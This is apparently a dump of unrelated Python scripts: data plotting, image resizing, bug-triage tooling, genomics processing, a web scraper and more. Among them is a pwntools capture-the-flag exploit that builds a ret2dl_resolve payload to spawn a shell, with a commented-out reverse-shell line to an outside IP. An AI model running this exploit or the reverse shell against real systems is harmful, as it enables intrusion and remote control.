import sys
sys.path.append(
    '/Users/rileylittlefield/Desktop/notes/readingnotes/python-ml/data-science-from-scratch/07-exercises'
)
from prob import invert_normal_cdf
import random, math
from collections import Counter
from matplotlib import pyplot

# One dimensional data sets

# uniform between -100 & 100
uniform = [ 200 * random.random() - 100 for _ in range(100000) ]

# normal with mean 0 and std_dev 57
normal = [
    invert_normal_cdf(random.random()) * 57
    for _
    in range(100000)
]

def bucketize(point, bucket_size):
    return math.floor(point/bucket_size) * bucket_size

# BUCKETS THE POINTS AND COUNTS HOW MANY BUCKETS
def make_histogram(points, bucket_size):
   return Counter(bucketize(point, bucket_size) for point in points);

def plot_histogram(points, bucket_size, title=""):
    counter = make_histogram(points, bucket_size)
    x_vals, y_vals = zip(*[
        (bucket, counter.get(bucket))
        for bucket
        in counter.keys()
    ])
    pyplot.bar(x_vals, y_vals, width=bucket_size, label=title)
    pyplot.show()

# plot_histogram(uniform, 5, "uniform between -100 to 100")
# plot_histogram(normal, 20, "uniform between -100 to 100")


import sys
from pathlib import Path
from PIL import Image
import math

arguments = sys.argv
try:
    file_path = Path(arguments[1])
except IndexError:
    print("No file specified.")
    sys.exit(0)
if file_path.exists() is False:
    print("The file does not exist.")
    sys.exit(0)
if file_path.is_file() is False:
    print("It's not a file.")
    sys.exit(0)
try:
    image = Image.open(file_path)
except IOError:
    print("It's not an image.")
    sys.exit(0)
x, y = image.size
xfinal, yfinal = math.floor(x / 1.3), math.floor(y / 1.3)
image = image.resize((xfinal, yfinal), Image.ANTIALIAS)
image.save(file_path, optimize=True, quality=90)


import itertools
import math

def trial_division(number):
    """
    trial_division(int) -> int

    Return the smallest factor of number.
    """

    if number == 1:
        return 1

    for p in (2, 3, 5):
        if number % p == 0:
            return p

    jumps = [4, 2, 4, 2, 4, 6, 2, 6]
    candidate = 7
    check_until = int(math.sqrt(number))

    for jump in itertools.cycle(jumps):
        if number % candidate == 0:
            return candidate

        candidate += jump

        if candidate > check_until:
            break

    return number

def prime_factors(number):
    """
    prime_factors(int) -> list of ints

    Return the list of ordered prime factors starting with the smallest.
    Uses trial division.
    """

    factors = []
    while number > 1:
        factor = trial_division(number)

        while number % factor == 0:
            factors.append(factor)
            number //= factor

    return factors


#! /usr/bin/env python
# -*- coding: utf-8 -*-
# vim:fenc=utf-8
#
# Copyright © 2019 vam <jpwan21@gmail.com>
#
# Distributed under terms of the MIT license.
from pwn import *

context.log_level = "debug"
pwn_file="./level6_x64"
elf=ELF(pwn_file)
#os.environ['LD_LIBRARY_PATH'] = '/home/vam/glibc/amd64'

if len(sys.argv) == 1:
    #r = process(pwn_file)

    libc=ELF("/dbg/glibc/lib/libc.so.6")
    r=process("/dbg/glibc/lib/ld-2.23.so ./level6_x64".split(" "))
    pid=r.pid
else:
    r=remote("pwn.sixstars.team", 23006)
    libc=ELF("./libc-2.23.so")
    pid=0

def debug():
    log.debug("process pid:%d"%pid)
    pause()

def ret2dl_resolve_linkmap_x64(ELF_obj,known_offset_addr,two_offset,linkmap_addr):
    '''
    # value = DL_FIXUP_MAKE_VALUE (l, l->l_addr + sym->st_value);
    WARNING: assert *(known_offset_addr-8) & 0x0000ff0000000000 != 0
    WARNING: fake_linkmap is 0x100 bytes length,be careful
    WARNING: two_offset = target - *(known_offset_addr)

    _dl_runtime_resolve(linkmap,reloc_arg)
    reloc_arg=0
    linkmap:
    0x00: START
    0x00: l_addr = two_offset
    0x08: fake_DT_JMPREL : 0
    0x10: fake_DT_JMPREL : p_fake_JMPREL
    0x18: fake_JMPREL = [p_r_offset,r_info,append],p_r_offset
    0x20: r_info
    0x28: append
    0x30: r_offset
    0x38: fake_DT_SYMTAB: 0
    0x40: fake_DT_SYMTAB: known_offset_addr-8
    0x48: /bin/sh(for system)
    0x68: P_DT_STRTAB = linkmap_addr(just a pointer)
    0x70: p_DT_SYMTAB = fake_DT_SYMTAB
    0xf8: p_DT_JMPREL = fake_DT_JMPREL
    0x100: END
    '''
    plt0 = ELF_obj.get_section_by_name('.plt').header.sh_addr
    print(hex(plt0))
    linkmap=""
    linkmap+=p64(two_offset&(2**64-1))
    linkmap+=p64(0)
    linkmap+=p64(linkmap_addr+0x18)
    # jum_rel 真实使用时，是下面第一个值+ linkmap->l_addr 所以-two_offset刚好
    linkmap+=p64((linkmap_addr+0x30-two_offset)&(2**64-1))+p64(0x7)+p64(0) # p_fake_JMPREL
    linkmap+=p64(0) # 0x30 # 解析到的地址
    linkmap+=p64(0)+p64(known_offset_addr-8) # 0x38  fake_DT_JMPREL name为字符串表的开始，其实用不到
    linkmap+='/bin/sh\x00' # for system offset 0x48
    # linkmap+='bash -c \"/bin/bash -i > /dev/tcp/118.89.101.128/1234 0<&1 2<&1\"\x00'
    linkmap = linkmap.ljust(0x68,'A')
    linkmap+=p64(linkmap_addr)  # 随便给一个指针
    linkmap+=p64(linkmap_addr+0x38)
    linkmap = linkmap.ljust(0xf8,'A')
    linkmap+=p64(linkmap_addr+8)

    resolve_call = p64(plt0+6)+p64(linkmap_addr)+p64(0)
    return (linkmap,resolve_call)

pop_rid_ret = 0x4005c3
bss  = 0x601000
link_map_pos = 0x601008
link_map_addr = bss + 0x200
libc_start_main = 0x601018
bug_func = 0x400526

shell ="/bin/sh\x00"
shell_addr = link_map_addr + 0x100

two_offset = libc.sym['system'] - libc.sym['__libc_start_main']

link_map, resolve_call = ret2dl_resolve_linkmap_x64(elf, libc_start_main, two_offset,link_map_addr)

payload = 0x28*'a'+p64(pop_rid_ret) + p64(link_map_addr) + p64(elf.plt['gets'])
payload+= p64(bug_func)
payload+= '\n'
payload+= link_map + shell
payload+= '\n'
payload+= 0x28*'a'+ p64(pop_rid_ret) + p64(shell_addr)+ resolve_call

debug()
r.sendline(payload)

r.interactive()


from itertools import groupby
start = 193651
end = 649729
def check_pw(input):
    last = 0
    hasDD = False
    for i in str(input):
        if not i >= last:
            return False
        last = i

    groups = groupby(str(input))
    result = [(num, sum(1 for _ in group)) for num, group in groups]
    for x,y in result:
        if y > 1 and not (y % 2) == 0:
            return False
        elif (y % 2) == 0:
            hasDD = True

    if hasDD is True:
        return True
    else:
        return False

count = 0
for i in range(start,end):
    if check_pw(i):
        print(i)
        count += 1
print(count)


# you can write to stdout for debugging purposes, e.g.
# print("this is a debug message")
from itertools import combinations

def solution(A):
    # write your code in Python 3.6
    slice_data = {}
    for item in combinations(range(len(A)), 2):
        d = A[item[0]:item[1]+1]
        slice_data[item] = sum(d)/len(d)

    return min(slice_data.keys(), key=lambda t: slice_data.get(t))[0]


# This Source Code Form is subject to the terms of the Mozilla Public
# License, v. 2.0. If a copy of the MPL was not distributed with this file,
# You can obtain one at http://mozilla.org/MPL/2.0/.

import bisect
import json
from libmozdata import utils as lmdutils
from libmozdata.bugzilla import BugzillaUser

from auto_nag import utils
from auto_nag.people import People

class BadFallback(Exception):
    pass

class RoundRobin(object):
    def __init__(self, rr=None, people=None):
        self.feed(rr=rr)
        self.nicks = {}
        self.people = People() if people is None else people

    def feed(self, rr=None):
        self.data = {}
        filenames = {}
        if rr is None:
            rr = {}
            for team, path in utils.get_config(
                'round-robin', "teams", default={}
            ).items():
                with open('./auto_nag/scripts/configs/{}'.format(path), 'r') as In:
                    rr[team] = json.load(In)
                    filenames[team] = path

        # rr is dictionary:
        # - doc -> documentation
        # - triagers -> dictionary: Real Name -> {bzmail: bugzilla email, nick: bugzilla nickname}
        # - components -> dictionary: Product::Component -> strategy name
        # - strategies: dictionay: {duty en date -> Real Name}

        # Get all the strategies for each team
        for team, data in rr.items():
            if 'doc' in data:
                del data['doc']
            strategies = {}
            triagers = data['triagers']
            fallback_bzmail = triagers['Fallback']['bzmail']
            path = filenames.get(team, '')

            # collect strategies
            for pc, strategy in data['components'].items():
                strategy_data = data[strategy]
                if strategy not in strategies:
                    strategies[strategy] = strategy_data

            # rewrite strategy to have a sorted list of end dates
            for strat_name, strategy in strategies.items():
                if 'doc' in strategy:
                    del strategy['doc']
                date_name = []

                # end date and real name of the triager
                for date, name in strategy.items():
                    # collect the tuple (end_date, bzmail)
                    date = lmdutils.get_date_ymd(date)
                    bzmail = triagers[name]['bzmail']
                    date_name.append((date, bzmail))

                # we sort the list to use bisection to find the triager
                date_name = sorted(date_name)
                strategies[strat_name] = {
                    'dates': [d for d, _ in date_name],
                    'mails': [m for _, m in date_name],
                    'fallback': fallback_bzmail,
                    'filename': path,
                }

            # finally self.data is a dictionary:
            # - Product::Component -> dictionary {dates: sorted list of end date
            #                                     mails: list
            #                                     fallback: who to nag when we've nobody
            #                                     filename: the file containing strategy}
            for pc, strategy in data['components'].items():
                self.data[pc] = strategies[strategy]

    def get_nick(self, bzmail):
        if bzmail not in self.nicks:

            def handler(user):
                self.nicks[bzmail] = user['nick']

            BugzillaUser(user_names=[bzmail], user_handler=handler).wait()

        return self.nicks[bzmail]

    def is_mozilla(self, bzmail):
        return self.people.is_mozilla(bzmail)

    def get(self, bug, date):
        pc = '{}::{}'.format(bug['product'], bug['component'])
        if pc not in self.data:
            mail = bug['triage_owner']
            nick = bug['triage_owner_detail']['nick']
            return mail, nick

        date = lmdutils.get_date_ymd(date)
        strategy = self.data[pc]
        dates = strategy['dates']
        i = bisect.bisect_left(strategy['dates'], date)
        if i == len(dates):
            bzmail = strategy['fallback']
        else:
            bzmail = strategy['mails'][i]
        nick = self.get_nick(bzmail)

        return bzmail, nick

    def get_who_to_nag(self, date):
        fallbacks = {}
        date = lmdutils.get_date_ymd(date)
        days = utils.get_config('round-robin', 'days_to_nag', 7)
        for pc, strategy in self.data.items():
            last_date = strategy['dates'][-1]
            if (last_date - date).days <= days and strategy[
                'filename'
            ] not in fallbacks:
                fallbacks[strategy['filename']] = strategy['fallback']

        # create a dict: mozmail -> list of filenames to check
        res = {}
        for fn, fb in fallbacks.items():
            if not self.is_mozilla(fb):
                raise BadFallback()
            mozmail = self.people.get_moz_mail(fb)
            if mozmail not in res:
                res[mozmail] = []
            res[mozmail].append(fn)

        res = {fb: sorted(fn) for fb, fn in res.items()}

        return res


                    # LifeGuard - Drowning Person Problem

import math

x_l = int(input("Enter x-axis for LifeGuard >>> "))
y_l = int(input("Enter y-axis for LifeGuard >>> "))
x_w = int(input("Enter x-axis for Drowning person >>> "))
y_w = int(input("Enter y-axis for Drowning person >>> "))
f = float(input("Enter Multiplying Factor >>> "))

s_l = f
s_w = 1
pos = 0.0

inc = 0
for i in range(x_w + 1):

    d_l = math.sqrt((x_l - i)**2 + y_l**2)
    t_l = d_l / s_l
    d_w = math.sqrt((x_w - i)**2 + y_w**2)
    t_w = d_w / s_w

    total = t_l + t_w
    if inc == 0:
        small = total
        pos = "{:.6f}".format(i)

    print("\ntotal=",total)
    print("\nsmall=",small)

    if inc > 0:
        if total < small:
            small = total
            #pos = float(i)
            pos = "{:.6f}".format(i)

print("\n\tsmall=",small)
print("\n\tpos=",pos)


# -*- coding: utf-8 -*-

import numpy as np
import pandas as pd
import matplotlib as mpl
mpl.use('Agg')
import matplotlib.pyplot as plt
import subprocess
import sys
import datetime

def get_data(date):
    data = pd.read_csv("tmp/data.csv")
    d = data[data["time"].str.contains(date)]
    d = d[['time', 'air_temperature']]
    d = d.dropna(axis=0)
    d['time'] = pd.to_datetime(d['time'])

    return d    #d = time and air_temperature

def temp(s, e):
    plt.figure()#reset graph
    date_format = '%Y-%m-%d'
    start = datetime.datetime.strptime(s, date_format)
    end = datetime.datetime.strptime(e, date_format)

    day = []
    df = []
    temp_s = start
    temp_e = end
    for i in range((end - start).days + 1):
        date_output = start.strftime(date_format)
        day.append(date_output)
        df.append(get_data(day[i]))
        start += datetime.timedelta(days = 1)
    plt.rcParams["font.size"] = 8

    for i in range((temp_e - temp_s).days + 1):
        x = np.array(df[i].time)
        y = np.array(df[i].air_temperature)

        plt.plot(x, y)

    start_string = temp_s.strftime(date_format)
    end_string = temp_e.strftime(date_format)

    plt.title("Air Temperature in " + start_string + "~" + end_string)
    plt.xlabel("Date")
    plt.ylabel("Air Temperature")
    #plt.show()
    dt = datetime.datetime.now()
    date_format = '%Y%m%d%H%M%S'
    file_name  = "img/"+datetime.datetime.strftime(dt,date_format)+"air_temperature.png"
    plt.savefig(file_name)
    return file_name


def main():
    dicionario = {"Ricardo":["10/02","End2"], "Samir":["20/08", "End1"], "Amanda":["27/12","End3"]}
    #print(dicionario)

    for valor in dicionario.values():
       print(valor)

    for chave in dicionario.keys():
       print(chave)

    dicionario.pop("Ricardo")
    dicionario["Amanda"] = None
    print(dicionario)

main()


from django.http import HttpResponseRedirect
from django.shortcuts import render_to_response
from django.template import RequestContext
from django.contrib.auth.decorators import login_required
from forms import Form_Post
from models import *

#Funcion para mostrar pagina del home
@login_required(login_url='/')
def Home(request,errors = []):
	posts = Post.objects.all().order_by('-created_at')
	data = {'form_Post':Form_Post(),'errors':errors,'posts':posts}
	return render_to_response('home.html',data, RequestContext(request))

#Funcion para registrar un post
@login_required(login_url='/')
def Create_Post(request):
	errors = []
	if request.method == 'POST':
		form_Post = Form_Post(request.POST)
		if form_Post.is_valid():
			Post.objects.create(user=request.user,text=form_Post.cleaned_data['text'][:255]).save()
			return HttpResponseRedirect("/home/")
		else:
			errors = ['Your data is wrong']
	else:
		return HttpResponseRedirect("/home/")

	return Home(request,errors)

#Funcion para registrar un comentario
@login_required(login_url='/')
def Create_Comment(request, post_id):
	errors = []
	if request.method == 'POST':
		if not request.POST.get('text', ''):
			errors = ['Your data is wrong']
		else:
			post = Post.objects.filter(id=post_id)
			if len(post) == 0:
				errors = ['Error']
			else:
				Comment.objects.create(text=request.POST['text'][:255],user=request.user,post=post[0]).save()
	else:
		return HttpResponseRedirect("/home/")

	return Home(request,errors)


'''
Given array of integers, find the maximal possible sum of some of its k consecutive elements.

Example

For inputArray = [2, 3, 5, 1, 6] and k = 2, the output should be
arrayMaxConsecutiveSum(inputArray, k) = 8.
All possible sums of 2 consecutive elements are:

2 + 3 = 5;
3 + 5 = 8;
5 + 1 = 6;
1 + 6 = 7.
Thus, the answer is 8.
'''

def arrayMaxConsecutiveSum(inputArray, k):
    maxsum =0
    for i in range(k):
        maxsum += inputArray[i]
    currsum = maxsum
    for i in range(1,len(inputArray)-k+1):
        currsum= currsum - inputArray[i-1] + inputArray[i+k-1]
        if(currsum>maxsum):
            maxsum = currsum
    return(maxsum)


#! /bin/env python
from __future__ import print_function
import sys
import json
import pysam
import exac
import argparse

def eprint(*args, **kwargs): print(*args, file=sys.stderr, **kwargs)

# Takes the output of VEP and reformats

headers=['CHROM','POS','ID','REF','ALT','QUAL','FILTER','INFO']

# VCF query
def vcf_query(chrom=None, pos=None, ref=None, alt=None, variant_str=None, individual=None, verbose=False, limit=100, release='mainset_July2016'):
    if variant_str:
        variant_str=str(variant_str).strip().replace('_','-')
        chrom, pos, ref, alt = variant_str.split('-')
    #tb=pysam.TabixFile('/slms/UGI/vm_exports/vyp/phenotips/uclex_files/current/chr%s.vcf.gz' % chrom,)
    tb=pysam.TabixFile('/SAN/vyplab/UCLex/current/%s_chr%s.vcf.gz' % (release, chrom,))
    #mainset_February2016_chrX_filtered.vcf.gz
    region=str('%s:%s-%s'%(chrom, pos, int(pos),))
    headers=[h for h in tb.header]
    headers=(headers[len(headers)-1]).strip().split('\t')
    records=tb.fetch(region=region)
    records=[r.split('\t') for r in records]
    def response(POS, REF, ALT, index, geno, chrom, pos):
        alleles=[geno['REF']]+geno['ALT'].split(',')
        homozygous_genotype='/'.join([str(index),str(index)])
        heterozygous_genotype='/'.join(['0',str(index)])
        variant=dict()
        variant['POS']=POS
        variant['REF']=REF
        variant['ALT']=ALT
        variant['index']=index
        variant['variant_id']='-'.join([str(chrom),str(POS),variant['REF'],variant['ALT']])
        variant['synonym_variant_id']='{}-{}-{}-{}'.format(str(chrom), str(pos), ref, alt,)
        variant['hgvs']='chr%s:g.%s%s>%s' % (str(chrom), str(POS), REF, ALT,)
        #print [geno[h].split(':')[0].split('/') for h in geno]
        hom_samples=[h for h in geno if geno[h].split(':')[0]==homozygous_genotype]
        variant['hom_samples']=hom_samples[0:limit]
        variant['HOM_COUNT']=len(variant['hom_samples'])
        het_samples=[h for h in geno if geno[h].split(':')[0]==heterozygous_genotype]
        variant['het_samples']=het_samples[0:limit]
        variant['HET_COUNT']=len(het_samples)
        wt_samples=[h for h in geno if geno[h].split(':')[0]=='0/0']
        variant['wt_samples']=wt_samples[1:100]
        variant['WT_COUNT']=len([h for h in geno if geno[h].split(':')[0]=='0/0'])
        miss_count=[h for h in geno if geno[h].split(':')[0]=='./.']
        variant['MISS_COUNT']=len(miss_count)
        variant['allele_num']= 2*(variant['HOM_COUNT'] + variant['HET_COUNT']+variant['WT_COUNT'])
        variant['allele_count']=2*variant['HOM_COUNT'] + variant['HET_COUNT']
        if individual: variant['individual']=geno[individual]
        #variant['site_quality'] = variant['QUAL']
        #variant['filter'] = variant['FILTER']
        if variant['WT_COUNT']==0:
           variant['allele_freq'] = None
        else:
           variant['allele_freq'] = float(variant['HET_COUNT']+2*variant['HOM_COUNT']) / float(2*variant['WT_COUNT'])
        samples=variant['het_samples']+variant['hom_samples']
        #variant['hpo']=[p for p in get_db('patients').patients.find({'external_id':{'$in':samples}},{'_id':0,'features':1,'external_id':1})]
        return variant
    for r in records:
        geno=dict(zip(headers, r))
        POS=geno['POS']
        REF=geno['REF']
        if verbose:
            print('ERROR:', 'POS', POS)
            print('ERROR:', 'REF', REF)
        for i, ALT, in enumerate(geno['ALT'].split(',')):
            if verbose: print('ALT', ALT)
            # insertion
            if ref=='-' and REF+alt==ALT: return response(POS=int(POS), REF=REF, ALT=ALT, index=i+1, geno=geno, chrom=chrom, pos=pos)
            # deletion
            # replace leftmost
            elif alt=='-' and ALT==REF.replace(ref,''): return response(POS=int(POS), REF=REF, ALT=ALT, index=i+1, geno=geno, chrom=chrom, pos=pos)
            # replace rightmost
            elif alt=='-' and ALT==REF[::-1].replace(ref[::-1], "", 1)[::-1]: return response(POS=int(POS), REF=REF, ALT=ALT, index=i+1, geno=geno, chrom=chrom, pos=pos)
            #
            elif alt=='-' and ref==REF and ALT=='*': return response(POS=int(POS), REF=REF, ALT=ALT, index=i+1, geno=geno, chrom=chrom, pos=pos)
            elif alt=='0' and ALT=='*' and ref==REF: return response(POS=int(POS), REF=REF, ALT=ALT, index=i+1, geno=geno, chrom=chrom, pos=pos)
            elif alt==ALT and ref==REF: return response(POS=int(POS), REF=REF, ALT=ALT, index=i+1, geno=geno, chrom=chrom, pos=pos)
            continue
    return []

def clean(d,field):
    for cons in d['transcript_consequences']:
        if field not in cons: continue
        for x in cons[field].split(','):
            if len(x.split(':'))!=2:
                sys.stderr.write(x)
                sys.stderr.write('\n')
                continue
            id,num,=x.split(':')
            if len(id.split('>'))!=2:
                sys.stderr.write(id)
                sys.stderr.write('\n')
                continue
            ref,alt,=id.split('>')
            if alt!=d['ALT']: continue
            try:
                cons[field]=float(num)
            except:
                #eprint(num)
                print('ERROR:', 'not a number', num, id)

def freq_cleanup(d):
    for cons in d['transcript_consequences']:
        for k in [k for k in cons.keys() if k.startswith('exac') or k=='kaviar']:
            d[k]=cons[k]
    for cons in d['transcript_consequences']:
        for k in [k for k in cons.keys() if k.startswith('exac') or k=='kaviar']:
            del cons[k]

def go_cleanup(d):
    for cons in d['transcript_consequences']:
        if 'go' not in cons: continue
        cons['go']=cons['go'].split(',')

def canonical(d):
    for cons in d['transcript_consequences']:
        if 'canonical' not in cons: continue
        d['canonical_cadd']=d.get('canonical_cadd',[])+[cons.get('cadd','')]
        d['canonical_hgvsc']=d.get('canonical_hgvsc',[])+[cons.get('hgvsc','')]
        d['canonical_hgvsp']=d.get('canonical_hgvsp',[])+[cons.get('hgvsp','')]
        #grab the transript
        d['canonical_transcript']=d.get('canonical_transcript',[])+[cons['transcript_id']]
        d['canonical_gene_name_upper']=d.get('gene_name_upper',[])+[cons['gene_symbol'].upper()]
        d['canonical_gene_name_upper']=d['canonical_gene_name_upper'][0]

parser=argparse.ArgumentParser(description='Arguments to postprocess_VEP_vcf2.py')
parser.add_argument('--release', required=True)

args=parser.parse_args()
release=args.release

for l in sys.stdin:
    d=json.loads(l.strip())
    d.update(dict(zip(headers,d['input'].split('\t'))))
    d.update(dict([tuple(x.split('=')) for x in d['INFO'].split(';') if len(x.split('='))==2]))
    del d['INFO']
    del d['input']
    d['variant_id']='-'.join([d['CHROM'],d['POS'],d['REF'],d['ALT']])
    if ',' in d['ALT']:
        #eprint(d['variant_id']+' MULTIALLELIC')
        print('ERROR:', d['variant_id']+' MULTIALLELIC')
        continue
    if 'transcript_consequences' not in d:
        #eprint(d['variant_id']+' NOT CODING')
        print('ERROR:',d['variant_id']+' NOT CODING')
        continue
    clean(d,'cadd')
    clean(d,'kaviar')
    clean(d,'exac_nfe')
    clean(d,'exac_sas')
    clean(d,'exac_fin')
    clean(d,'exac_eas')
    clean(d,'exac_amr')
    clean(d,'exac_afr')
    clean(d,'exac_oth')
    clean(d,'exac_adj')
    clean(d,'1kg_eur')
    clean(d,'1kg_asn')
    clean(d,'1kg_amr')
    clean(d,'1kg_afr')
    d['genes']=list(set([cons['gene_id'] for cons in d['transcript_consequences']]))
    freq_cleanup(d)
    go_cleanup(d)
    canonical(d)
    d.update(vcf_query(variant_str=d['variant_id'],release=release))
    d['EXAC']=exac.exac_query(variant_str=d['variant_id'])
    # try convert str which have a decimal point to number
    for k in d:
        try:
            d[k] = float(d[k])
        except:
            continue
    print('JSON:', json.dumps(d))


"""
Add local base neighborhood to exisint annotations file
"""

from Bio import SeqIO

def state_print(ref, state, bp_boundary):
    #print(ref)
    if len(state) > 0:
        pre = ' '*bp_boundary

        print(pre+state['strand'])
        print(pre+state['start'],
            end=' '*(len(state['seq'])-len(state['start'])-len(state['end'])))
        print(state['end'])
        print(pre+state['seq'])
        print(state['consensus'])
        print(pre+state['quality'])
        print()

def main(cov_anno_fname, ref_fname, bp_boundary=30):
    # parse references
    refs = {}
    with open(ref_fname) as fd:
        for record in SeqIO.parse(fd, 'fasta'):
            refs[record.id] = str(record.seq)

    # enhance annotations
    cur_ref = None
    state = {}

    with open(cov_anno_fname) as fd:
        for line in fd.readlines():
            if line.startswith('D'):
                cur_ref = line.strip()
                print(cur_ref)

                state = {}
            elif line.startswith('+') or line.startswith('-'):
                state['strand'] = line.strip()
            elif line[0].isdigit():
                if ' ' in line:
                    state['start'], state['end'] = line.split()

                    cstart = int(state['start'])-bp_boundary-1
                    cend = int(state['end'])+bp_boundary
                    assert cstart > 0 and cend > 0

                    state['consensus'] = refs[cur_ref][cstart:cend]
                    assert len(state['consensus']) == cend-cstart
                else:
                    state['quality'] = line.strip()
            elif len(line) <= 1:
                state_print(cur_ref, state, bp_boundary)
            else:
                state['seq'] = line.strip()

if __name__ == '__main__':
    main('/tmp/coverage_annos.txt', 'data/dicty_chromosomal')


print("Exercise 6: Rewrite your pay computation with time-and-a-half for overtime and create a function called computepay which takes two parameters (hours and rate) ")
hours = input("Please provide your hours:",)
rate = input("Please provide your rate:",)

def computepay(hours, rate):

    try:
        if float(hours) > 40:
            overtime = float(rate)*(float(hours)-(float(hours)-40))+((float(hours)-40)*float(rate)*1.5)
            print("You earned overtime, your pay is", overtime)
            return overtime

        else:
            pay = float(rate)*float(hours)
            print("Your pay is", pay)
            return pay

    except:
        print("Error, please enter numeric input")

result = computepay(hours,rate) #solution to exercise

print("Test Pay", result )


from rels import *

# Dataframe loading
data_bin_filename = 'df_concat_res_0628_100_with_directly_1s_3s.bin'
data_bin_file = open(data_bin_filename, 'rb')
df_to_train = pickle.load(data_bin_file)
data_bin_file.close()

# model fitting & saving / model loading
for i in range(4):
    # 0 for X 1s, 1 for Y 1s, 2 for X 3s, 3 for Y 3s
    cur_time = time.strftime("%m%d%H%M")
    raw_values = df_to_train.values
    train = raw_values
    pre_col_index = -6 + i
    train_x, train_y = train[:, :-6], train[:, pre_col_index]
    train_x = np.reshape(train_x, (train_x.shape[0], train_x.shape[1], 1))
    model = model_fit(train_x, train_y, 1000, 512)
    model_save_path = 'models'
    predict_col_names = ['x_1s', 'y_1s', 'x_3s', 'y_3s']
    predict_col_name = predict_col_names[i]
    model_name = 'model_directly_pos_dif_' + predict_col_name + '_' + cur_time + '.h5'
    model.save(os.path.join(model_save_path, model_name))


# -*- coding: utf-8 -*-
import scrapy
from scrapy.selector import HtmlXPathSelector

class DMSpider(scrapy.Spider):
    name = 'dmBot'

    def start_requests(self):
        urls = [
            'https://www.fmscout.com/a-football-manager-2018-wonderkids.html',
        ]
        for url in urls:
            yield scrapy.Request(url=url, callback=self.parse)

    def parse(self, response):
        for row in response.xpath('//*[@id="dm"]/tbody/tr'):
            yield {
                'rating' : row.xpath('td[1]//text()').extract_first(),
                'name' : row.xpath('td[2]//text()').extract_first(),
                'age' : row.xpath('td[3]//text()').extract_first(),
                'position' : row.xpath('td[4]//text()').extract_first(),
                'club' : row.xpath('td[5]//text()').extract_first(),
                'wage' : row.xpath('td[6]//text()').extract_first(),
                'value' : row.xpath('td[7]//text()').extract_first(),
                'nation' : row.xpath('td[8]//img/@alt').extract_first(),
            }


import os
import re

import sys
from django.conf import settings
from django.core import management
from django.core.management.templates import TemplateCommand

class CalamusI18nApp(TemplateCommand):
    def __init__(self,cPath):
        super(CalamusI18nApp, self).__init__()
        self.cPath=cPath

    def display_information(self,info,app_name):
        self.stdout.write(info)
        os.chdir(os.path.join(self.cPath, app_name))

    def build_i18n_list(self,data):
        if "-" in data:
            return (" {}_{}".format(data.split("-")[0], data.split("-")[-1].capitalize()))
        else:
            return (data)

    def generate_i18n(self,app_name):
        self.display_information("-------- Generate i18n language for {} --------".format(app_name),app_name)
        os.makedirs(os.path.join(os.getcwd(),"locale"))
        i18n_gen = []
        for idx, data in enumerate(getattr(settings, "LANGUAGES", ('en', ('English')))):
            i18n_gen.append("-l")
            i18n_gen.append(self.build_i18n_list(data[0]))
        management.execute_from_command_line(['django-admin','makemessages', '-l', 'zh_Hant', '-l', 'zh_Hans', '-l', 'en'])

    def apps_read_update(self,app_name):
        rat = r"\S*\W*\("
        self.appconfig = ""
        import_data = "from django.utils.translation import ugettext_lazy as _"
        verbose_name = "    verbose_name = _('{} APP')".format('{}'.format(app_name).upper())
        app_data = []

        with open("apps.py", "r", encoding="utf-8") as file:
            for f in file:
                app_data.append(f)
                if re.search(rat, f):
                    self.appconfig = re.search(rat, f).group().strip("(")

        app_data.insert(1, import_data)
        app_data.append(verbose_name)

        with open("apps.py", "w", encoding="utf-8") as file:
            for ad in app_data:
                file.writelines("{}".format(ad))

    def generate_app_i18n(self,app_name):
        self.display_information("-------- Generate app {} i18n --------".format(app_name),app_name)
        self.app_path = os.getcwd()

        self.apps_read_update(app_name)  #read app information and add i18n format

        if sys.path[0] == self.cPath:
            BASE_DIR = self.cPath
        else:
            BASE_DIR = getattr(settings,"BASE_DIR",self.cPath)

        real_app_path = self.app_path.split(BASE_DIR)
        if len(real_app_path) > 1:
            real_app_path = real_app_path[-1].split(os.sep)
            real_app_path.remove('')
            real_app_path.append("apps")
        else:
            self.stderr.write("app path analysis error: {}".format(real_app_path))

        real_app_path.append(self.appconfig)
        final_set = '.'.join(real_app_path)
        with open("__init__.py","w",encoding="utf-8") as file:
            file.write("default_app_config = '{}'\n".format(final_set))

        self.generate_i18n(app_name)


### Small example file that shows the problem with relative error. Please not this BVP will not actually solve.

import scikits.bvp_solver
import numpy
import pylab
from scipy import special
def function (t,x):
    #dxdt=numpy.array([numpy.log(special.gamma(x[0])),1])
    dxdt=numpy.array([1e50*special.psi(x[0]),1])
    return dxdt
def boundary_conditions(Begin,End):
    return numpy.array([Begin[0]-0]), numpy.array([End[0]-0])
def function_derivative( t, x):
    Deriv = numpy.array([[1e50*special.polygamma(1,x[0])     ,0       ],
                  [0      ,0      ]])
    return Deriv

problem=scikits.bvp_solver.ProblemDefinition(num_ODE=2,
                                             num_parameters=0,
                                             num_left_boundary_conditions = 1,
                                             boundary_points = (0,10),
                                             function=function,
                                             function_derivative = function_derivative,
                                             boundary_conditions= boundary_conditions)
solution=scikits.bvp_solver.solve(problem,
                                  solution_guess=[1,1],
                                  trace=1,
                                  max_subintervals = 100000)

A=numpy.linspace(0,10,10)
X=solution(A)
pylab.plot(A,X[0,:],'x')


# -*- coding: utf-8 -*-
"""High level functions for making better use of baseline algorithms.

Functions in this module make use of other baseline algorithms in
pybaselines to provide better results or optimize parameters.

Created on March 3, 2021
@author: Donald Erb

"""

from math import ceil

import numpy as np

from . import morphological, polynomial, whittaker
from ._algorithm_setup import _setup_polynomial, _yx_arrays
from .utils import _get_edges, gaussian

def _get_function(method, modules):
    """
    Tries to retrieve the indicated function from a list of modules.

    Parameters
    ----------
    method : str
        The string name of the desired function. Case does not matter.
    modules : Sequence
        A sequence of modules in which to look for the method.

    Returns
    -------
    func : Callable
        The corresponding function.

    Raises
    ------
    AttributeError
        Raised if no matching function is found within the modules.

    """
    function_string = method.lower()
    func = None
    for module in modules:
        try:
            func = getattr(module, function_string)
        except AttributeError:
            pass

    if func is None:
        raise AttributeError('unknown method')
    # TODO should probably return the selected module as well
    return func

def collab_pls(data, average_dataset=True, method='asls', **method_kwargs):
    """
    Collaborative Penalized Least Squares (collab-PLS).

    Averages the data or the fit weights for an entire dataset to get more
    optimal results. Uses any Whittaker-smoothing-based algorithm.

    Parameters
    ----------
    data : array-like, shape (M, N)
        An array with shape (M, N) where M is the number of entries in
        the dataset and N is the number of data points in each entry.
    average_dataset : bool, optional
        If True (default) will average the dataset before fitting to get the
        weighting. If False, will fit each individual entry in the dataset and
        then average the weights to get the weighting for the dataset.
    method : str, optional
        A string indicating the Whittaker-smoothing-based method to use for
        fitting the baseline. Default is 'asls'.
    **method_kwargs
